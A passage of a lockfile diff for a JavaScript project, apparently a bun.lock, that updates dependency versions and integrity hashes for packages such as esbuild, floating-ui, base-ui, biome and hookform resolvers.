"@floating-ui/react-dom": "^2.1.8", "@floating-ui/utils": "^0.2.11", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@date-fns/tz": "^1.2.0", "@types/react": "^17 || ^18 || ^19", "date-fns": "^4.0.0", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@date-fns/tz", "@types/react", "date-fns"] }, "sha512-/jzjTWJYXhRFO45Bev9lc3cHbmjzCMpUqbMZ2AgKy/z25mY9B6shGSNcXcjQar9n5doM0KYW1W8fcFv2jZBuMw=="], + "@base-ui/react": ["@base-ui/react@1.7.0", "", { "dependencies": { "@babel/runtime": "^7.29.2", "@base-ui/utils": "0.3.2", "@floating-ui/react-dom": "^2.1.9", "@floating-ui/utils": "^0.2.12", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@date-fns/tz": "^1.2.0", "@types/react": "^17 || ^18 || ^19", "date-fns": "^4.0.0", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@date-fns/tz", "@types/react", "date-fns"] }, "sha512-j+8QjX44C32jrXD/qyEAGpFr70FRpGL2CY61mQd9nBPWN737CK0xxD1ceJ055rW4RtdvFDT1e7otzdlfxvsYug=="], - "@base-ui/utils": ["@base-ui/utils@0.3.1", "", { "dependencies": { "@babel/runtime": "^7.29.2", "@floating-ui/utils": "^0.2.11", "reselect": "^5.2.0", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@types/react": "^17 || ^18 || ^19", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@types/react"] }, "sha512-gFFiltORVmW/N6IILTGxizP3PBpVpysqML1ALY5Vk0mH+7faVkCknOU31goYHN5Aoek2dkjxva1XOD2Ce9WuIg=="], + "@base-ui/utils": ["@base-ui/utils@0.3.2", "", { "dependencies": { "@babel/runtime": "^7.29.2", "@floating-ui/utils": "^0.2.12", "reselect": "^5.2.0", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@types/react": "^17 || ^18 || ^19", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@types/react"] }, "sha512-oWy1aq/I2GmYjpl4PhEAhzflF8VPGKgZeq0xAWTbfD5KBWyxcN0ZP2+WHSUm/5Z6lVMBDLReLcoXwSYoRc/zNQ=="], - "@biomejs/cli-darwin-arm64": ["@biomejs/cli-darwin-arm64@2.3.11", "", { "os": "darwin", "cpu": "arm64" }, "sha512-/uXXkBcPKVQY7rc9Ys2CrlirBJYbpESEDme7RKiBD6MmqR2w3j0+ZZXRIL2xiaNPsIMMNhP1YnA+jRRxoOAFrA=="], + "@biomejs/cli-darwin-arm64": ["@biomejs/cli-darwin-arm64@2.5.11", "", { "os": "darwin", "cpu": "arm64" }, "sha512-6SGZxoKbXvUjMn1t6A98HqWISPnGNbYs0R/Rt2JarmXBSev+lva4QxUMWEBX9lX1Wo1XTJ78uk5xVDtG58SRZg=="], "@bkrem/react-transition-group": ["@bkrem/react-transition-group@1.3.5", "", { "dependencies": { "chain-function": "^1.0.0", "dom-helpers": "^3.3.1", "loose-envify": "^1.3.1", "prop-types": "^15.5.6", "react-lifecycles-compat": "^3.0.4", "warning": "^3.0.0" }, "peerDependencies": { "react": "^15.0.0 || ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^15.0.0 || ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-lbBYhC42sxAeFEopxzd9oWdkkV0zirO5E9WyeOBxOrpXsf7m30Aj8vnbayZxFOwD9pvUQ2Pheb1gO79s0Qap3Q=="], - "@emnapi/core": ["@emnapi/core@1.11.1", "", { "dependencies": { "@emnapi/wasi-threads": "1.2.2", "tslib": "^2.4.0" } }, "sha512-RSvbQmHzdKzNsLYa/wHrbc3KN4sYLKAdPZxqiM2HATqv/SBk2/ENSHpvXGaLOMcsAyz0poEGqkmmKYG3OWiJEQ=="], + "@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.28.2", "", { "os": "aix", "cpu": "ppc64" }, "sha512-XExcO+dvLKvVtNTibSTBej1NCAbaGhWn9Ww1ZPx80qsahhPFe/8jgWP0IchNe0F3HwkU7n8ejhH8bjonqht8mQ=="], - "@emnapi/runtime": ["@emnapi/runtime@1.11.1", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-vgj7R3y3Wgx24IQaGPA/R6YFXLHVMOZ0uVEyIQPaWs+rd1AzfEMXlAC22FYwO1XkKR6NPsq7mUandH8oIRdZFw=="], + "@esbuild/android-arm": ["@esbuild/android-arm@0.28.2", "", { "os": "android", "cpu": "arm" }, "sha512-kXXoiPVVGQcnIYGOeaovwOURpniDBpSq4A03qkQ+BMQqtGG6HYap3xne9C1O1yo4TR3qxlCX5IqqmX6fFo2Lqg=="], - "@emnapi/wasi-threads": ["@emnapi/wasi-threads@1.2.2", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-c95qOXkHdydNKhscBTebqEC1CVAZpyqOfVfBzQ1qgzyl3gfeldUjIggDbIZgDKsHLgnsM+igH7TJ/eAasaVuMA=="], + "@esbuild/android-arm64": ["@esbuild/android-arm64@0.28.2", "", { "os": "android", "cpu": "arm64" }, "sha512-5YfKeeI8qWfBZIX+u2xZC3Zlb3Os/gLS2sbEKM+I4ZOcsWmHS2WLysCcQZDAFRslDUU5Oiq44gf6PYN1vGwG5A=="], - "@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.28.0", "", { "os": "aix", "cpu": "ppc64" }, "sha512-lhRUCeuOyJQURhTxl4WkpFTjIsbDayJHih5kZC1giwE+MhIzAb7mEsQMqMf18rHLsrb5qI1tafG20mLxEWcWlA=="], + "@esbuild/android-x64": ["@esbuild/android-x64@0.28.2", "", { "os": "android", "cpu": "x64" }, "sha512-O387ite7SzUyCcy3JQX4P4bLtEA7bLLkx+esve5JHnyYfNTxcVpXZo9jhdB0lTKN44gztELTdU7nS8Nr16Fs1Q=="], - "@esbuild/android-arm": ["@esbuild/android-arm@0.28.0", "", { "os": "android", "cpu": "arm" }, "sha512-wqh0ByljabXLKHeWXYLqoJ5jKC4XBaw6Hk08OfMrCRd2nP2ZQ5eleDZC41XHyCNgktBGYMbqnrJKq/K/lzPMSQ=="], + "@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.28.2", "", { "os": "darwin", "cpu": "arm64" }, "sha512-n4KqkOQrraxHJcgjM1RvwbigfQKIKJVpM7xp+KsxiyUSrRdIXnt73VhrPAx0fV44hgfmIVKjxMN9J1t5jySVkw=="], - "@esbuild/android-arm64": ["@esbuild/android-arm64@0.28.0", "", { "os": "android", "cpu": "arm64" }, "sha512-+WzIXQOSaGs33tLEgYPYe/yQHf0WTU0X42Jca3y8NWMbUVhp7rUnw+vAsRC/QiDrdD31IszMrZy+qwPOPjd+rw=="], + "@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.28.2", "", { "os": "darwin", "cpu": "x64" }, "sha512-uq6suIWYP37qzGddBKPw5QEQPi6HiLGsO7UmkpfyaYNQ3D+rN6w6WfwH+nuqcGXWvawGwxOEroO4YGnFh95azw=="], - "@esbuild/android-x64": ["@esbuild/android-x64@0.28.0", "", { "os": "android", "cpu": "x64" }, "sha512-+VJggoaKhk2VNNqVL7f6S189UzShHC/mR9EE8rDdSkdpN0KflSwWY/gWjDrNxxisg8Fp1ZCD9jLMo4m0OUfeUA=="], + "@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.28.2", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-n+I0BTSRIoy+d6RPKnEVwql5UwBJolytvY4mAOIEJorKlqgPII8ix6slVVrfZ5Tnj7glIZvloylbB/EJPMWEXw=="], - "@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.28.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-0T+A9WZm+bZ84nZBtk1ckYsOvyA3x7e2Acj1KdVfV4/2tdG4fzUp91YHx+GArWLtwqp77pBXVCPn2We7Letr0Q=="], + "@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.28.2", "", { "os": "freebsd", "cpu": "x64" }, "sha512-78XJTJkvPs0kz2w61301PJjXl4g7q3JqiYMZ/M/yVI73EHBrCRTgkhu9oqG7vPqq+a/yadEW8aD+agKlk5xrmg=="], - "@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.28.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-fyzLm/DLDl/84OCfp2f/XQ4flmORsjU7VKt8HLjvIXChJoFFOIL6pLJPH4Yhd1n1gGFF9mPwtlN5Wf82DZs+LQ=="], + "@esbuild/linux-arm": ["@esbuild/linux-arm@0.28.2", "", { "os": "linux", "cpu": "arm" }, "sha512-XlDnu2q5yoqems+xay6wSAcg9DDD7K9RLKZEBOMZm3ckNpJBvOX20tSfby8KfrrhINDyv9V2YVZKY/SpoGJI8w=="], - "@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.28.0", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-l9GeW5UZBT9k9brBYI+0WDffcRxgHQD8ShN2Ur4xWq/NFzUKm3k5lsH4PdaRgb2w7mI9u61nr2gI2mLI27Nh3Q=="], + "@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.28.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-pW4AC0P3it8c7do9MVM4p51FzHzdM/TZrerurgRcHJ2WTa1VQ1CIq18xncfpBJw4ojkiZZrKW2yIBWBP92j6Ug=="], - "@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.28.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-BXoQai/A0wPO6Es3yFJ7APCiKGc1tdAEOgeTNy3SsB491S3aHn4S4r3e976eUnPdU+NbdtmBuLncYir2tMU9Nw=="], + "@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.28.2", "", { "os": "linux", "cpu": "ia32" }, "sha512-CYbnj78HsIeA+DhgUKgFCfvNsTHFhMMrinUrMZpDXJXKN8T3XViTZ/+wtHeVxEWY8ewSzTFN+nRmSwO2tZaLUQ=="], - "@esbuild/linux-arm": ["@esbuild/linux-arm@0.28.0", "", { "os": "linux", "cpu": "arm" }, "sha512-CjaaREJagqJp7iTaNQjjidaNbCKYcd4IDkzbwwxtSvjI7NZm79qiHc8HqciMddQ6CKvJT6aBd8lO9kN/ZudLlw=="], + "@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.28.2", "", { "os": "linux", "cpu": "none" }, "sha512-buwkd8nsph4R+ajRvw0qM5Hja/TXQow3ptzWO2EbG/cqcIkHloRrdlBtQlshyYGTNFvfkfJ5tpPLVkY4DtsPfQ=="], - "@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.28.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-RVyzfb3FWsGA55n6WY0MEIEPURL1FcbhFE6BffZEMEekfCzCIMtB5yyDcFnVbTnwk+CLAgTujmV/Lgvih56W+A=="], + "@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.28.2", "", { "os": "linux", "cpu": "none" }, "sha512-ZVykbDyk7519VwiNb9Lcj9m8XM6v5V9uKPvrEMkkEedVewf+0itkhahp4HDpgERXhwLRpWFypsGbG/J8s0QjJA=="], - "@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.28.0", "", { "os": "linux", "cpu": "ia32" }, "sha512-KBnSTt1kxl9x70q+ydterVdl+Cn0H18ngRMRCEQfrbqdUuntQQ0LoMZv47uB97NljZFzY6HcfqEZ2SAyIUTQBQ=="], + "@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.28.2", "", { "os": "linux", "cpu": "ppc64" }, "sha512-CAXl+Dtd9UUuJd8pKKdwh6MLm3MUMiqMPmhZ3tTSXPqfyQ3vDl6R5hZdZ/kYojK4ofXtdfSv1tFq8XzWx3heNQ=="], - "@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.28.0", "", { "os": "linux", "cpu": "none" }, "sha512-zpSlUce1mnxzgBADvxKXX5sl8aYQHo2ezvMNI8I0lbblJtp8V4odlm3Yzlj7gPyt3T8ReksE6bK+pT3WD+aJRg=="], + "@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.28.2", "", { "os": "linux", "cpu": "none" }, "sha512-GeXCej4IQtU1B+QlDV8W/RRvbzI3O/Stss+/bCXv4lZls5WGRtu2a+3JkA3i4qIUlMXpcHebWpF8AkJhATowuA=="], - "@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.28.0", "", { "os": "linux", "cpu": "none" }, "sha512-2jIfP6mmjkdmeTlsX/9vmdmhBmKADrWqN7zcdtHIeNSCH1SqIoNI63cYsjQR8J+wGa4Y5izRcSHSm8K3QWmk3w=="], + "@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.28.2", "", { "os": "linux", "cpu": "s390x" }, "sha512-3H1weTYZPxt/WOhByszQZybS9w5lKzUn1FDMsgEChbHWQwHYQQRfBxgCcZvPhjHfKyJjIievvMmEUawJrdY9Dg=="], - "@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.28.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-bc0FE9wWeC0WBm49IQMPSPILRocGTQt3j5KPCA8os6VprfuJ7KD+5PzESSrJ6GmPIPJK965ZJHTUlSA6GNYEhg=="], + "@esbuild/linux-x64": ["@esbuild/linux-x64@0.28.2", "", { "os": "linux", "cpu": "x64" }, "sha512-4xTZr1FUmSoQW4XIWmit3tzQrUTZM+N3P0XV8xROKYF50XfI7xeO90+1bZvNwxIufQ9hDQVRJH5YhgPVF8A/HQ=="], - "@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.28.0", "", { "os": "linux", "cpu": "none" }, "sha512-SQPZOwoTTT/HXFXQJG/vBX8sOFagGqvZyXcgLA3NhIqcBv1BJU1d46c0rGcrij2B56Z2rNiSLaZOYW5cUk7yLQ=="], + "@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.28.2", "", { "os": "none", "cpu": "arm64" }, "sha512-sSATRjPeDBg3pdgHoQfoYBob11Kk1FGa9lui5RIHZCoCkJa9QKlvl3/vKz2usCmYYjs7ymJR/2Nnsqe+Hjt5nw=="], - "@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.28.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-SCfR0HN8CEEjnYnySJTd2cw0k9OHB/YFzt5zgJEwa+wL/T/raGWYMBqwDNAC6dqFKmJYZoQBRfHjgwLHGSrn3Q=="], + "@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.28.2", "", { "os": "none", "cpu": "x64" }, "sha512-lqnzCV+mM0gIADaKihiCg6ifgfU2L3h5E33rNQBN1Y4MaVGnzryzmvvf7UHxprpQdE8hpqLolJ9Rl+SkIRDpyw=="], - "@esbuild/linux-x64": ["@esbuild/linux-x64@0.28.0", "", { "os": "linux", "cpu": "x64" }, "sha512-us0dSb9iFxIi8srnpl931Nvs65it/Jd2a2K3qs7fz2WfGPHqzfzZTfec7oxZJRNPXPnNYZtanmRc4AL/JwVzHQ=="], + "@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.28.2", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-AL2qJILH7lNjrDmCQDvdxMfAUIv8KMNZOvrwAQ8i8//ntL9FflhOyMJ8OZSMBb8/AWXe3/5v5S20y3zCoZWKoQ=="], - "@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.28.0", "", { "os": "none", "cpu": "arm64" }, "sha512-CR/RYotgtCKwtftMwJlUU7xCVNg3lMYZ0RzTmAHSfLCXw3NtZtNpswLEj/Kkf6kEL3Gw+BpOekRX0BYCtklhUw=="], + "@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.28.2", "", { "os": "openbsd", "cpu": "x64" }, "sha512-QtiuPytchRyC4rwUKhexJdQKvDuZ6hWloi3igqPQNUJCS1/v9EiO3UTOXR6A3FoMo4fnAKbWJdqaIwhOzh8qEw=="], - "@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.28.0", "", { "os": "none", "cpu": "x64" }, "sha512-nU1yhmYutL+fQ71Kxnhg8uEOdC0pwEW9entHykTgEbna2pw2dkbFSMeqjjyHZoCmt8SBkOSvV+yNmm94aUrrqw=="], + "@esbuild/openharmony-arm64": ["@esbuild/openharmony-arm64@0.28.2", "", { "os": "none", "cpu": "arm64" }, "sha512-WkhYDmpTjLvGlScA1rwjRUmhl4k8oXR3cIbtqWmELgU/dFeHHlEllxDvdWcNJV9rbzCexB5vz8gtNewWLgCT7Q=="], - "@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.28.0", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-cXb5vApOsRsxsEl4mcZ1XY3D4DzcoMxR/nnc4IyqYs0rTI8ZKmW6kyyg+11Z8yvgMfAEldKzP7AdP64HnSC/6g=="], + "@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.28.2", "", { "os": "sunos", "cpu": "x64" }, "sha512-GPMSkTOtMnv2U2F8gxe4Io6qmVs+YKyp832Etqqxr0hFngmXQ3rzwytelm3GIn7T4VviRUlf3sOgBOiTdvaf7g=="], - "@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.28.0", "", { "os": "openbsd", "cpu": "x64" }, "sha512-8wZM2qqtv9UP3mzy7HiGYNH/zjTA355mpeuA+859TyR+e+Tc08IHYpLJuMsfpDJwoLo1ikIJI8jC3GFjnRClzA=="], + "@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.28.2", "", { "os": "win32", "cpu": "arm64" }, "sha512-PIhhEkE9uPBleRBrQEJpUn7MBnibZzbGzYWPmY3x+YoVg/95zbjB4CxPPOQ8l5tYYM4mMaCthF8/1DIfBQQyWQ=="], - "@esbuild/openharmony-arm64": ["@esbuild/openharmony-arm64@0.28.0", "", { "os": "none", "cpu": "arm64" }, "sha512-FLGfyizszcef5C3YtoyQDACyg95+dndv79i2EekILBofh5wpCa1KuBqOWKrEHZg3zrL3t5ouE5jgr94vA+Wb2w=="], + "@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.28.2", "", { "os": "win32", "cpu": "ia32" }, "sha512-YmJbfTlvU7Sdn9BB+4PRES4oB6pxgS37MAONj+hBr/cpXS1aBPKXxNnDbu+QCWPj0o9dgyxeq79g6c5P8KeuYA=="], - "@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.28.0", "", { "os": "sunos", "cpu": "x64" }, "sha512-1ZgjUoEdHZZl/YlV76TSCz9Hqj9h9YmMGAgAPYd+q4SicWNX3G5GCyx9uhQWSLcbvPW8Ni7lj4gDa1T40akdlw=="], + "@esbuild/win32-x64": ["@esbuild/win32-x64@0.28.2", "", { "os": "win32", "cpu": "x64" }, "sha512-5ebpxr3nWMzrL/rnUI755Jkuee0bHL/Gq0WTF9lvcpv73wAp5eu8MfBUgWK9bhWvZjj7yX8etf/8tI8Ney695g=="], - "@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.28.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-Q9StnDmQ/enxnpxCCLSg0oo4+34B9TdXpuyPeTedN/6+iXBJ4J+zwfQI28u/Jl40nOYAxGoNi7mFP40RUtkmUA=="], + "@floating-ui/core": ["@floating-ui/core@1.8.0", "", { "dependencies": { "@floating-ui/utils": "^0.2.12" } }, "sha512-0CIZ5itps/8x7BG8dEIhs53BvCUH2PCoogtakwRTut+Arm58sJooJ0AuZhLw2HJYIR5cMLNPBSS728sPho2khQ=="], - "@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.28.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-zF3ag/gfiCe6U2iczcRzSYJKH1DCI+ByzSENHlM2FcDbEeo5Zd2C86Aq0tKUYAJJ1obRP84ymxIAksZUcdztHA=="], + "@floating-ui/dom": ["@floating-ui/dom@1.8.0", "", { "dependencies": { "@floating-ui/core": "^1.8.0", "@floating-ui/utils": "^0.2.12" } }, "sha512-yXSrzeHZBTZadLOlfyhCkJHNeLJnHRnRInwdZ40L7ZiaAtrBwoYlsDrX3v5zB1Utk7CLfzcOVnVVWoXEky7Ceg=="], - "@esbuild/win32-x64": ["@esbuild/win32-x64@0.28.0", "", { "os": "win32", "cpu": "x64" }, "sha512-pEl1bO9mfAmIC+tW5btTmrKaujg3zGtUmWNdCw/xs70FBjwAL3o9OEKNHvNmnyylD6ubxUERiEhdsL0xBQ9efw=="], + "@floating-ui/react-dom": ["@floating-ui/react-dom@2.1.9", "", { "dependencies": { "@floating-ui/dom": "^1.8.0" }, "peerDependencies": { "react": ">=16.8.0", "react-dom": ">=16.8.0" } }, "sha512-JDjEFGCpImxDCA7JJKviA0M9+RtmJdj0m/NVU5IMgBK+AmZouAQQ7/+2GLH0GXXY0YMw9oXPB8hKdbPYg5QLYg=="], - "@floating-ui/core": ["@floating-ui/core@1.7.3", "", { "dependencies": { "@floating-ui/utils": "^0.2.10" } }, "sha512-sGnvb5dmrJaKEZ+LDIpguvdX3bDlEllmv4/ClQ9awcmCZrlx5jQyyMWFM5kBI+EyNOCDDiKk8il0zeuX3Zlg/w=="], - - "@floating-ui/dom": ["@floating-ui/dom@1.7.4", "", { "dependencies": { "@floating-ui/core": "^1.7.3", "@floating-ui/utils": "^0.2.10" } }, "sha512-OOchDgh4F2CchOX94cRVqhvy7b3AFb+/rQXyswmzmGakRfkMgoWVjfnLWkRirfLEfuD4ysVW16eXzwt3jHIzKA=="], - - "@floating-ui/react-dom": ["@floating-ui/react-dom@2.1.8", "", { "dependencies": { "@floating-ui/dom": "^1.7.6" }, "peerDependencies": { "react": ">=16.8.0", "react-dom": ">=16.8.0" } }, "sha512-cC52bHwM/n/CxS87FH0yWdngEZrjdtLW/qVruo68qg+prK7ZQ4YGdut2GyDVpoGeAYe/h899rVeOVm6Oi40k2A=="], - - "@floating-ui/utils": ["@floating-ui/utils@0.2.11", "", {}, "sha512-RiB/yIh78pcIxl6lLMG0CgBXAZ2Y0eVHqMPYugu+9U0AeT6YBeiJpf7lbdJNIugFP5SIjwNRgo4DhR1Qxi26Gg=="], + "@floating-ui/utils": ["@floating-ui/utils@0.2.12", "", {}, "sha512-HpCo8tmWzLVad5s2d19EhAz5zqrrQ6s69qd6moPMQvkOuSwDT1YgRfWSVuc4ennqrgv3OHppiOGMQ7oC13yIww=="], "@fuma-translate/react": ["@fuma-translate/react@1.0.2", "", { "peerDependencies": { "@types/react": "*", "react": "^19.2.0", "react-dom": "^19.2.0" }, "optionalPeers": ["@types/react"] }, "sha512-uOiOtBx3nRXR8Nu1GzBf1tApgF1FErDBTHxRIAQeyQdyOoZbrNRN6H4kDCWObY4qyGeGbHydG0DHzgeUgFDMIw=="], - "@fumadocs/tailwind": ["@fumadocs/tailwind@0.0.5", "", { "peerDependencies": { "@tailwindcss/oxide": "^4.0.0", "tailwindcss": "^4.0.0" }, "optionalPeers": ["@tailwindcss/oxide", "tailwindcss"] }, "sha512-ENKPWUDRmriccsrUDE4bDBq3FNr/ms3BP2rWlsAEMV1yP23pcCaan+ceGfeBUsAQjw7sj9Q3R4Kl3g/TCStPzQ=="], + "@fumadocs/tailwind": ["@fumadocs/tailwind@0.1.1", "", { "peerDependencies": { "tailwindcss": "^4.0.0" }, "optionalPeers": ["tailwindcss"] }, "sha512-BnPe52UxSaG8yKlHMKBxXw8h6GpK5qO55ci6+Qd5JnquTvIw6SpfbC1P+qAi82PuPWv1KZAWY8bxRk4+x9ctXw=="], + + "@fumari/image-size": ["@fumari/image-size@0.1.0", "", {}, "sha512-x2o9u6P8uKUK15B8XgEoRhR3PgLoLSbQKK6FUCd14JzumEw+e8FXZPelij/dZ4VQVMp4r61VD3DcvSo3aEhLAA=="], - "@hookform/resolvers": ["@hookform/resolvers@5.4.0", "", { "dependencies": { "@standard-schema/utils": "^0.3.0" }, "peerDependencies": { "react-hook-form": "^7.55.0" } }, "sha512-EIsqr/t/qbinPIhGjMdtvutIN1Kk4uwbROE9/UQ93CAVGR7GkA7Y92+fX80OzXi/OB67jVFYwKGO1WzkxmkFZw=="], + "@hookform/resolvers": ["@hookform/resolvers@5.9.1", "", { "dependencies": { "@standard-schema/utils": "^0.3.0" }, "peerDependencies": { "@sinclair/typebox": ">=0.25.24", "@standard-schema/spec": "^1.0.0", "@typeschema/main": ">=0.13.7", "@vinejs/vine": "^2.0.0 || ^3.0.0 || ^4.0.0", "ajv": "^8.12.0", "ajv-errors": "^3.0.0", "ajv-formats": "^2.1.1", "arktype": "^2.0.0", "ata-validator": "^1.2.0", "class-transformer": ">=0.4.0", "class-validator": ">=0.12.0", "computed-types": "^1.0.0", "effect": "^3.10.3", "fluentvalidation-ts": "^3.0.0", "fp-ts": "^2.7.0", "io-ts": "^2.0.0", "joi": "^17.0.0 || ^18.0.0", "nope-validator": ">=0.12.0", "react-hook-form": "^7.55.0", "superstruct": ">=0.12.0", "typanion": "^3.3.2", "valibot": ">=0.31.0 || ^1.0.0-beta.4 || ^1.0.0-rc", "vest": ">=6.0.0", "yup": "^1.0.0", "zod": "^3.25.0 || ^4.0.0" }, "optionalPeers": ["@sinclair/typebox", "@standard-schema/spec", "@typeschema/main", "@vinejs/vine", "ajv", "ajv-errors", "ajv-formats", "arktype", "ata-validator", "class-transformer", "class-validator", "computed-types", "effect", "fluentvalidation-ts", "fp-ts", "io-ts", "joi", "nope-validator", "superstruct", "typanion", "valibot", "vest", "yup", "zod"] }, "sha512-7b7vsbraJxKgjVSA1Nur9tLwj539WGJUBLA7QNvXnFoT2pM5Z7G+6rlukk4B2/QrTZy6huRtH6wKeESPKuIr6w=="], "@jridgewell/gen-mapping": ["@jridgewell/gen-mapping@0.3.13", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA=="], @@ -202,373 +172,383 @@ "@jridgewell/resolve-uri": ["@jridgewell/resolve-uri@3.1.2", "", {}, "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw=="], - "@jridgewell/sourcemap-codec": ["@jridgewell/sourcemap-codec@1.5.5", "", {}, "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og=="], + "@jridgewell/sourcemap-codec": ["@jridgewell/sourcemap-codec@1.6.0", "", {}, "sha512-T7jf+5zgsZHwNJ4lvQ7/aezbyk0nNX+zJVWpmHA7VYsEx7a7qr5Rg5IbtJFqkgze5Y2sruq1RUY8Q837Od7iFw=="], "@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="], "@mdx-js/mdx": ["@mdx-js/mdx@3.1.1", "", { "dependencies": { "@types/estree": "^1.0.0", "@types/estree-jsx": "^1.0.0", "@types/hast": "^3.0.0", "@types/mdx": "^2.0.0", "acorn": "^8.0.0", "collapse-white-space": "^2.0.0", "devlop": "^1.0.0", "estree-util-is-identifier-name": "^3.0.0", "estree-util-scope": "^1.0.0", "estree-walker": "^3.0.0", "hast-util-to-jsx-runtime": "^2.0.0", "markdown-extensions": "^2.0.0", "recma-build-jsx": "^1.0.0", "recma-jsx": "^1.0.0", "recma-stringify": "^1.0.0", "rehype-recma": "^1.0.0", "remark-mdx": "^3.0.0", "remark-parse": "^11.0.0", "remark-rehype": "^11.0.0", "source-map": "^0.7.0", "unified": "^11.0.0", "unist-util-position-from-estree": "^2.0.0", "unist-util-stringify-position": "^4.0.0", "unist-util-visit": "^5.0.0", "vfile": "^6.0.0" } }, "sha512-f6ZO2ifpwAQIpzGWaBQT2TXxPv6z3RBzQKpVftEWN78Vl/YweF1uwussDx8ECAXVtr3Rs89fKyG9YlzUs9DyGQ=="], - "@mjackson/node-fetch-server": ["@mjackson/node-fetch-server@0.2.0", "", {}, "sha512-EMlH1e30yzmTpGLQjlFmaDAjyOeZhng1/XCd7DExR8PNAnG/G1tyruZxEoUe11ClnwGhGrtsdnyyUx1frSzjng=="], + "@oxc-project/types": ["@oxc-project/types@0.147.0", "", {}, "sha512-IJ3s6ltHLp45S0bh7phkX+gJO7A1Wuz2EaqpAhb8WjqDwbzMiWKHhyyT42tskaWjEYXtHtVCPpnBJVT9+dcRLg=="], - "@napi-rs/wasm-runtime": ["@napi-rs/wasm-runtime@1.1.6", "", { "dependencies": { "@tybys/wasm-util": "^0.10.3" }, "peerDependencies": { "@emnapi/core": "^1.7.1", "@emnapi/runtime": "^1.7.1" } }, "sha512-ZLv/JdUfkvOy9eCnnBaGfiO+XimbjebAeO+MRQqD/B+FR1tnRN0tpKSJHRbE8sFfS6aqsXZ67TQjfwfsxULVbg=="], + "@oxfmt/binding-android-arm-eabi": ["@oxfmt/binding-android-arm-eabi@0.65.0", "", { "os": "android", "cpu": "arm" }, "sha512-M10Gs1SSpTNI6ahGx3M/OlIdUF4hkaP6OgUb+MS79t/Pgflk3r1nW5gPFqsZGUAXg0H1AfANT9AvLdBSTIhZKg=="], - "@orama/orama": ["@orama/orama@3.1.18", "", {}, 